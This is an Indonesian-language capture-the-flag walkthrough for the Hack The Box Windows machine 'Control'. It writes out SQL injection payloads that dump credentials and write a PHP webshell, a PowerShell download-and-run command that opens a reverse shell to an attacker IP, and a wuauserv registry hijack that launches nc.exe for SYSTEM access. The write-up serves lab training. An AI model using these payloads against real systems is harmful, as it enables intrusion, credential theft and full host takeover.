Control

Hack The Box - Machine Control Walktrough / Writeup

Introduce Machine

Mesin maker kali ini adalah TRX, sistem operasi yang digunakan adalah Windows dan tingkatan dari mesin ini adalah Hard. Mesin ini direlease pada tanggal 23 Nov 2019 dan retired pada tanggal 26 April 2020 dini hari waktu indonesia bagian barat (WIB).

Scanning & Enumeration

Seperti biasa hal yan pertama kita lakukan adalah Reconnaissance & Enumeration.

Port Scanning

Pertama kita akan memulai dengan pemindaian port menggunakan nmap, dari hasil pemindaian tersebut, kita mendapatkan port yang terbuka :

PORT 80 HTTP

Control Website

Melakukan methode GET request menggunakan Burpsuite untuk melihat response secara langsung.

Private IP address disclosed

Dari gambar diatas kita menemukan hal menarik seperti sebuah komentar yang mengungkapkan Internal IP .

Internal IP : 192.168.4.28

Missing Header : X-Forwarder

Path lainya seperti Page Admin dan Page login kita tidak dapat mengaksesnya karena tidak di izinkan.

Penyebab dikarenakan ada sebagian header yang missing, dan kita juga diharuskan untuk menggunakan proxy untuk mengaksesnya. Menambahkan HTTP Header X-Forwarded-For :

ataupun kita juga dapat menggunakan ekstensi X-Forwarded-For di browser

Setelah kita memasukan header tersebut dengan benar , kita dapat mengakses halaman admin.

SQL Injection

Memasukan query single qoutes pada kolom pencarian dan memberikan respon SQL Syntax Error, yang artinya parameter di kolom pencarian tersebut rentan terhadap serangan SQL Injection.

MySQL Version

Disini kita sudah tau ada berapa kolom dan sebagainya, mari kita lihat version dari MySQL .

Papoy' union select version(),NULL,NULL,NULL,NULL,NULL --

Versi yang digunakan adalah 10.4.8-MariaDB

Dump MySQL Credentials

Papoy' union select user,password,NULL,NULL,NULL,NULL from mysql.user --

Username dan Password hash sudah didapatkan, selanjutnya kita akan melakukan cracking terhadap password hash tersebut.

Disini kita dapat menggunakan beberapa tools cracking online seperti Crackstation ataupun Hashkiller.

Username

Password Hash

PlainText

Manager

CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA

l3tm3!n

Hector

0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

l33th4x0rhector

Informasi ini kita simpan terlebih dahulu, user dan password ini akan bermanfaat di saat kita sudah mendapatkan akses shell / RCE

SQL injection to RCE

SQLi Into OutFile

Kita akan memanfaatkan serangan SQL Injection untuk menambahkan file di webserver, dengan ketentuan kita harus mempunyai previlege yang cukup dan mengetahui lokasi path yang writable ( C:/inetpub /wwwroot )

Untuk melakukannya, kita dapat menggunakan tools otomatis seperti sqlmap untuk mempermudah mengupload sebuah file ataupun secara manual.

Papoy' union select "<?php echo shell_exec($_GET['cmd']);?>",NULL,NULL,NULL,NULL,NULL Into OutFile 'C:\\inetpub\\wwwroot\\Webshell.php'; --

Pada query tersebut kita akan membuat sebuah file yang bernama Webshell.php dengan memanfaatkan fungsi shell_exec untuk mengeksekusi suatu perintah .

File yang kita buat tadi sudah berhasil di upload dan kita dapat menjanlankan berbagai perintah seperti gambar diatas.

Initial Shell

Ditahapan selanjutnya kita akan berusaha mendapatkan akses shell dari server tersebut, dengan mengupload sebuah file reverse shell menggunakan Powershell.

Reverse Shell Using Powershell

Selanjutnya kita akan menyiapkan sebuah file untuk melakukan reverse shell melalui Powershell. Kita akan menggunakan tools powercat, sederhanya Powercat ini semacam netcat yang dibuat menggunakan powershell script.

powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.165/powercat.ps1');powercat -c 10.10.14.165 -p 9999 -e cmd

Jalankan perintah tersebut di webshell yang telah kita upload tad,

kemudian listener yang telah kita buat, mendapatkan balasan dari server target dan kitapun sudah mendapatkan akses shell .

Low Previleged Users

Akses shell yang kita dapatkan memiliki previleged yang sangat rendah, sehingga kita tidak dapat membaca ataupun masuk ke folder Hector .

Getting Users.txt

Masih ingat dengan user yang kita dapatkan tadi ?.

User itu dapat digunakan untuk login ke sistem target menggunakan Windows Remote Management (WinRM). Tapi sayangnya layanan tersebut ke filter jika kita mengaksesnya dari luar, maka dari itu kita coba melihat aktifitas port yang ngebind ke local menggunakan perintah netstat -aon.

Port 5986 WinRM (Windows Remote Management) Bind ke localhost

Agar kita dapat mengaksesnya, kita akan membuat tunneling menggunakan plink.exe. plink.exe Ini adalah versi console dari putty.

Upload file plink ke mesin target.

Invoke-WebRequest "http://10.10.14.165/plink.exe" -OutFile "C:\inetpub\wwwroot\uploads\plink.exe"

Selanjutnya jika sudah berhasil, kita jalankan dengan memasukan perintah seperti gambar dibawah ini

Nah sekarang kita dapat login menggunkan evil-winrm menggunakan credentials si Hector dan mendapatkan flag user.txt

Flag User.txt

Previleged Escalation

Setelah melakukan enumerasi yang cukup panjang, user Hector memiliki akses full control terhadap service Automatic Updates (wuauserv). Dengan adanya service ini, kita dapat mengabuse service tersebut untuk mendapatkan akses yang lebih tinggi .

Kita dapat menggukan Cmdlet Get-Acl untuk melihat Access Control List (ACL) yang dimiliki oleh masing" user ataupun sistem .

get-acl HKLM:\System\CurrentControlSet\services\* | Format-Table

Abuse Service - wuauserv

Wuauserv is a Windows system service of the Windows Update feature. It runs only when Windows Update is running.

reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\inetpub\wwwroot\uploads\nc.exe -e powershell 10.10.14.165 1337" /f

Jika perintah reverse shell kita sudah masuk ke registry dengan bernar, tampilanya akan seperti gambar dibawah ini

Restart a Service To Spawn Reverse Shell

Kemudian restart service wuaserv ini dengan memasukan perintah

Start-Service wuauserv

Flag Root.txt

Setelah tahapan restart sudah dilakukan, tunggu beberapa saat dan kitapun akan mendapatkan akses shell dengan user sebagai NT AUTHORITY\SYSTEM

Terimakasih, Kalo di rasa tulisan ini bermanfaat, silahkan Share. Semoga kebermanfaatan ini terus berlanjut!

Download Versi PDF

Teman teman juga dapat mendownload tulisan ini dalam format pdf.